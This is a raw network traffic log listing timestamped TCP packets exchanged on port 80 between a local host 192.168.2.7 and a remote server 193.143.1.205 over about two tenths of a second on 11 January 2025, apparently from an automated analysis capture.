Jan 11, 2025 01:29:06.916999102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917021036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917032957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.917047024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917057991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.917072058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917085886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917107105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.917117119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917138100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917150021 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.917174101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917186975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917208910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917218924 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.917232990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917253971 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.917269945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917284966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917299986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917309999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.917335987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917342901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.917356014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917371035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917385101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917395115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.917423010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917428970 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.917440891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917459011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917481899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917488098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.917514086 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.917521954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917536974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917553902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917568922 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.917579889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917599916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917612076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.917633057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917648077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917663097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917674065 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.917700052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917706966 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.917720079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917736053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917749882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917759895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.917778015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917783976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917792082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.917804003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917818069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917839050 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.917862892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917872906 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.917885065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917900085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917918921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917924881 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.917939901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917951107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.917963982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917979002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.917998075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.918004990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.918020010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.918031931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.918045044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.918061018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.918077946 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.918086052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.918102026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.918118954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.918128014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.918140888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.918154955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.918164968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.918184996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.918195963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.930732012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.930763960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.930784941 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.930802107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.930824995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.930852890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.930862904 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.930876970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.930890083 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.930903912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.930919886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.930937052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.930947065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.930962086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.930977106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.930986881 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.931014061 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.931021929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.931037903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.931052923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.931071997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.931075096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.931086063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.931101084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.931112051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.931126118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.931135893 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.931149006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.931165934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.931189060 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.948571920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.948627949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.949377060 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.950721979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.950742960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.950759888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.950787067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.950794935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.950812101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.950829029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.950850964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.950860023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.950875998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.950886011 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.950913906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.950920105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.950933933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.950948000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.950964928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.950982094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.950989962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.950999975 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.951014042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.951042891 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.968704939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.968720913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.968744993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.968759060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.968770981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.968791008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.968797922 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.968810081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.968826056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.968842983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.968852997 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.968877077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.968884945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.968899012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.968913078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.968928099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.968936920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.968956947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.968962908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.968976021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.968993902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.969007969 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.982984066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.983037949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.983047009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.983059883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.983083010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.983098984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.983110905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.983124018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.983133078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.983148098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.983163118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.983186007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.003246069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.003278971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.003292084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.003307104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.003334045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.003343105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.003355980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.003375053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.003395081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.003401995 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.003424883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.003590107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.003698111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.003712893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.003727913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.003760099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.003784895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.003784895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.003797054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.003814936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.003829002 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.003844023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.003859997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.003882885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.003902912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.003909111 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.003917933 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.003948927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.003966093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.003982067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.003995895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.004009008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004029989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.004036903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004060030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004081011 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.004092932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004106998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004121065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004132986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.004154921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004163980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.004177094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004193068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004218102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004226923 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.004240036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004250050 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.004264116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004286051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004296064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.004308939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004323959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004348040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.004359961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004374027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004389048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004400969 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.004426003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.004432917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004447937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004462004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004484892 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.004503012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004517078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004530907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004545927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004555941 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.004570961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004585981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.004596949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004606009 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.004621983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004637003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004654884 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.004669905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004687071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004707098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004714966 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.004728079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004746914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004754066 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.004767895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004776955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004785061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004795074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004802942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004817009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004832983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.004842997 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.004870892 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.017349005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.017369986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.017400980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.017416000 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.017432928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.017456055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.017479897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.017494917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.017519951 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.017529964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.017544031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.017560005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.017574072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.017580986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.017600060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.017606974 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.017633915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.017641068 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.017657042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.017663956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.017669916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.017685890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.017707109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.017714024 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.017728090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.017750978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.017757893 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.017772913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.017781973 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.017795086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.017810106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.017836094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.017844915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.017882109 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.037597895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.037622929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.037637949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.037652969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.037667036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.037687063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.037693977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.037707090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.037724018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.037743092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.055403948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.055459976 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.055480957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.055499077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.055531025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.055536032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.055552959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.055567980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.055583000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.055600882 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.055608034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.055622101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.055630922 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.055646896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.055658102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.055670023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.055685043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.055705070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.055711985 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.055726051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.055738926 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.055753946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.055794001 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.069730997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.069752932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.069778919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.069788933 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.069806099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.069813013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.069817066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.069833994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.069866896 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.080885887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.089873075 CET	80	49699	193.143.1.205	192.168.2.7
